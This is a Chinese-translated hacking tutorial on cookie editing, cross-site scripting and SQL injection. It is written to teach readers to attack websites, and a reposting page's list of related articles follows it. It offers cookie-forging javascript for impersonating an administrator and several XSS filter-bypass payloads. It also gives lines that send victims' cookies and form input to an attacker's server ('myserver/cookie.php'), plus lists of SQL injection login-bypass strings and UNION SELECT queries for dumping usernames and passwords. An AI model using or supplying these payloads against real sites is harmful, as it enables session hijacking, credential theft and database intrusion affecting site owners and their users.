XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
作者: CyberPhreak
翻譯: 黯魂 [S.S.T]
~介紹
在這篇文章中我將說明所有關於XSS以及更多相關的知識.通過這篇文檔,我希望能讓你明白什麼是XSS,爲什麼使用XSS,以及怎樣使用XSS.一旦你學會了,你將需要發揮自己的創造力,因爲大多數人都修補了簡單的XSS漏洞.但是他們所忘記做的是修補比XSS的一個字符串更多的漏洞,並且php中特殊安全機制被用來防禦XSS,而取代他們自己的方法.同時我將闡述的不僅僅是XSS,而是所有的web安全.
XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX
~什麼是cookie
cookie就是一塊數據.一旦你瀏覽一個站點並且註冊一個帳號,一個cookie就被設置以記錄你的信息.cookie僅僅保存你登錄的信息以使站點檢測以前你是否登錄過,如果不是,它就會檢測你的用戶名和密碼的正確性,然後登錄.比如說在一個夜總會,你買了一張票,他們就會給你一張卡.因此你可以進進出出而不用每次都買票.而cookies比你所能看到的要複雜得多.夜總會只能記住你一晚上,但是cookies卻能記住你一輩子.
~警告&欺騙
那麼現在你知道了cookie是什麼...你如何看待它們?事實上,cookie編輯(修改)是最簡單的方法之一.只要有一個瀏覽器,你就能夠查看和編輯cookies,並且只需要一些基礎的javascript知識.打開你的瀏覽器然後隨便去一個網站吧,登錄...現在輸入javascript:alert(document.cookie).這時你應該可以看見一個用戶名和密碼.然而大多數站點現在都不使用cookies,而使用sessions.很遺憾,sessions不能被修改(服務端可以),不像cookies,一旦你修改了一個cookie你就可以欺騙你自己.現在讓我們開始欺騙...假設你看到了一個警告框並且看到一些像這樣的內容:
strusername=cnsst;strpassword=cnsst
此時假設你知道'bitch'是一個管理員,可是你不知道密碼. 由於脆弱的安全機制你不需要密碼:javascript:void(document.cookie="strusername=bitch")
現在輸入:javascript:alert(document.cookie).那幾乎非常接近cookie修改了...
~什麼是XSS
XSS,或者CSS,不管你更喜歡怎樣稱呼它,XSS(CSS)都代表着跨站腳本.基本上意思就是你能以任何方式注入腳本,來讓它完成你想要做的.通過XSS你也可以截獲輸入信息,像用戶名,密碼以及cookies.這都將被討論,所以接下來將會有很多例子,我們這篇文章應該能夠幫你在XSS上發揮自己的創造力.
~爲什麼使用XSS
很明顯的問題,通過XSS你能在客戶端和服務器端執行任何類型的腳本.然而XSS卻不僅僅侷限於執行腳本上,還能截獲輸入.輸入類似:<input name="name" type="name">
你通過XSS截獲輸入,然後通過一個祕密文件把截獲到的信息發送向你的站點.而這一切絕不是XSS所能實現的全部作用.XSS還能截獲cookies.Cookies保存着有價值的信息,像用戶名,密碼等等.
~讓我們開始吧…
我假定你知道html和javascript,而php知識也有幫助,但卻不是必要的.讓我們從這個php腳本開始.
XSS--跨站腳本
<html>
<body>
<form action="" method="GET">
<!-- 我使用的GET方法,因爲當我們利用的時候更容易練習. -->
Script: <input name="name" type="name">
<input type="submit" value="submit">
</form>
</body>
</html>
<?php
$name = $_GET['name'];
echo("Hello $name");
?>
OK,我們應該都知道上面的代碼有什麼用...這是一個非常奇怪的腳本,沒有一個人會在自己的站點上使用它(至少我沒見過),但是它對初學者理解原理卻真的很有用.來看看我輸入後所得到的信息:
cnsst
"Hello cnsst!"
引號內的信息就是輸出信息..注意看,現在我輸入:
<script>alert(document.cookie)</script>
那麼它將會彈出document.cookie!所以它是易受XSS攻擊的!
現在我們已經對XSS有了一點了解,那讓我們理解它.首先,腳本做的是取得你的輸入然後粘貼它.嗯...也就是說我們能輸入任何數據.所以?等等...任何數據...好的,你想問客戶端和服務器端分別有什麼語言? 讓我告訴你,基本上客戶端語言是建立在你客戶端瀏覽器之上的:JavaScript,html, VBScript等等...
服務器端語言在另一邊,不是建立在你客戶端之上的,而建立在服務器之上,有php,asp等等...
已有一些方法注入php,稍後我將說明.現在先想想這怎樣才能對我們有幫助?注入javascript?簡單.比如說你正在編寫一個網站程序,由於是你的站點,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因爲XSS允許你讓網站運行你想要運行的任何腳本.
讓我們看一個稍微複雜點的例子!
假設你已經輸入了<script>alert(document.cookie)</script>,並且回顯是這樣的:
scriptalert(document.cookie)/script
或者可能是這樣的:
scriptalertdocument.cookie/script
可以看出更難利用了...不過有很多方法使用XSS,這只是其中一種.而且是其中最爛的方法之一.你看到當中的"<>"都被空字符" "替換了.
讓我們繼續利用:
<<script>>alert(document.cookie)<</script>>
你的輸出將彈出document.cookie.
現在來看看更狠的:
<<script>>alert((document.cookie))<<//script>>
他們可能會替換所有的,或者只是"<>".所以如果一對不能得以執行,另一對就可以.現在,如果你看到:
scriptalertdocument.cookie/script
或者 <<<script>>>alert(document.cookie)<<</script>>>
他們可能替換2對來欺騙你,或者替換一些字母.試着用你自己的方法來利用...你輸入:
<script>alert(document.cookie)</script>
輸出像這樣:srplert(document.cookie)srp
仔細觀察,你就會發現document.cookie中並沒有什麼被替換.爲什麼呢? 因爲他們並不清楚你想要alert什麼,以及你想做什麼.所以他們只是猜測,就只阻止了"<>"以及script部分.怎麼繞過?看看這個:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
所有重複多餘的部分剛好被替換!現在讓我們來點更高級的!
這次他們使用的仍然是替換,但是卻檢查了整個字符串!例如:
<script>alert(document.cookie)</script>
輸出將是:
scriptalert(document.cookie)script
看到這,你激動地說,"我知道該怎麼做了!" OK,讓我們按照你的方法來重新構造:
<<script>>alert(document.cookie)<</script>>
輸出:scriptalert(document.cookie)script. 這時你可能會繼續增加更多的<>.可是,他們替換了任何"<>",無論你輸入多少個...看到我說"任何"了嗎?使用下面這個例子:
<
script
>
alert
(
document
.
cookie
)
<
/
script
>
看看它,它沒有替換"<>",它替換代碼關鍵字.所以即便你寫的是一句沒有"<>"的代碼,將仍然被替換,這就是我們爲什麼這樣寫的原因.假如對方使用更嚴格的標準,替換任何類型的代碼,甚至是"alert"! 我們又該怎麼改進呢?看看這個:
<
c
r
i
t
>
a
l
e
r
t
(
d
o
c
u
m
e
t
.
c
o
o
k
i
e
)
<
/
c
r
i
t
/
>
這下應該可以了,但是如果他們仍然替換"<",你可以增加2對"<< >>"(並且你可以用任何字符取代document.cookie)
還有更多我可以演示的替換,但是我教你的只是想讓你發揮自己的創造力.
現在讓我來講講其他XSS方法.前面我們已經討論了客戶端XSS,那麼現在就來看看服務器端XSS.
首先讓我說明它們之間的區別.客戶端是從你瀏覽器經解釋語言,如JavaScript (JS) VBScript (VBS)等而看到的.服務器端XSS是通過來自服務器端的語言,如php,asp等的XSS.客戶端通過瀏覽器查看,服務器端通過服務器查看.
我們已經學會了怎樣構造客戶端XSS,而構造服務器端我們必須注入腳本到服務器上.要完成這個,我們需要找到一個像任何XSS的腳本,但是這個腳本能夠保存你的XSS到服務器中.現在,假設你在一個網站上發表了一篇文章,現在要做的是取代文章,用XSS,爲什麼我們應該用JavaScript?爲什麼不用php?但是先讓我給你看點東西.
document.forms(0).action ="http://myserver/myscript.php
這既能在服務器端也能在客戶端,沒有關係.因此你的腳本將複製他們所輸入的信息到那個表單中,並保存在我們站點上的一個*.txt文件中.
再次假設你在網站上註冊了一個帳號,並且可以自定義資料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空間可以存放指向自定義內容的鏈接,你可以輸入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
這將截獲訪問我們資料的用戶的cookie.這可以用於任何地方而不僅僅在資料上,它只是一個例子.
有時一個站點會回顯你的UserAgent和Referer...現在讓我們在DOS提示符下或者命令行窗口中試一試一些XSS,
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
Referer: <script>alert(document.cookie)</script>
~什麼是SQL注入
SQL注入,網站中最大的安全問題之一.那麼到底什麼是SQL注入?其實也就是注入SQL.現在讓我們來挖掘不同級別的SQL漏洞.假設你有一個像這樣的登錄頁面:
<html>
<body>
<form action="" method="POST">
Username: <input name="name" type="name">
Password: <input name="password" type="password">
<input type="submit" type="submit" value="Submit">
</form>
</body>
</html>
這裏面有一個XSS漏洞,但是不用擔心它,沒有辦法猜出或者破解出密碼.所以,我們該怎麼辦?SQL注入!
最簡單的攻擊是在用戶名和密碼那裏輸入"'".如果沒有保護機制,此時你應該得到一個錯誤信息.如果你得到了,它就是極易受攻擊的.可是錯誤信息毫無價值,除非你知道如何利用它.所以,我會給你一個你可以使用的注入列表,以便在你得到一個單引號的錯誤信息時使用.
'='
'OR 1=1--
'OR a=a--
'OR'
自從人們增強安全性以後,現在這些注入就很難發揮作用了,但是下面這個列表卻是很多人在安全列表裏沒有注意到的:
'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="
~
現在讓我說明UNION ALL SELECT聲明,這將選出數據庫中的一個表...所顯示的內容取決於你所選擇的列.
UNION ALL SELECT username,password FROM users
這個查詢語句將執行,但是….如果毫無作用呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='
你可能使用其他字符來替代'OR "='以注入存在的注入點.可是首先考慮一下,你是怎麼知道表名的?實際上,你發現了一個SQL漏洞,它給了你錯誤信息,而錯誤信息包含了表名.
一旦你發現了漏洞,你就會按照習慣去用類似'OR "='的方法去進行注入,以得到表名.有時候你想從表中查詢一些有用的數據,你卻不得不選擇所有的表,因爲你並不知道所要查詢的數據在哪個表裏.下面的例子中存在20個不同表名的表,你試圖查詢一個ip的列表:
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
現在你看到這個了嗎?(我確信你已經看到了)
http://example.com/index.php?article=34
那將瀏覽Id爲34的文章...讓我們用"'"替換34:
http://example.com/index.php?article='
現在,記住我所說的,大多數人都沒有意識到'所帶來的不安全性,你總是能夠嘗試不同的注入方法,這裏是一些例子:
http://example.com/index.php?article='
http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
http://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
http://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
http://example.com/index.php?article='OR"''='
盡情發揮自己的創造力!
XSS & SQL注入
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章
在SpringMVC中使用過濾器(Filter)過濾容易引發XSS的危險字符
pangfc
2019-02-23 00:15:28
KindEditor
古城寨主
2019-02-22 23:11:38
XSS跨站測試代碼整合
RgYouYou
2019-02-22 22:48:32
深掘XSS漏洞場景之XSS Rootkit[完整修訂版]
zhyuxuan_lan
2019-02-22 22:09:54
phpGraphy 0.9.13b XSS
upfont
2019-02-22 19:57:43
XSS 平臺搭建與優化(基於 xsser.me 源碼)
源碼論壇1
2019-02-22 18:03:44
常見的web漏洞及其防範
mrlapulga
2019-02-22 17:48:39
Linux 技巧:讓進程在後臺可靠運行的幾種方法
MichaelChenl
2019-02-22 22:19:35
Linux & DHCP服務器
liuandy
2019-02-22 17:37:02
關於 script src=http://7o8.net >的解決方案
ifuckyours
2019-02-23 13:40:57
常用SQL注入語句
benxiaohai8
2019-02-22 18:16:47
SQL注入原理和方法
benxiaohai8
2019-02-22 18:16:16
SQL注入中的WAF繞過技術
zhangxiang_414
2019-02-22 16:37:01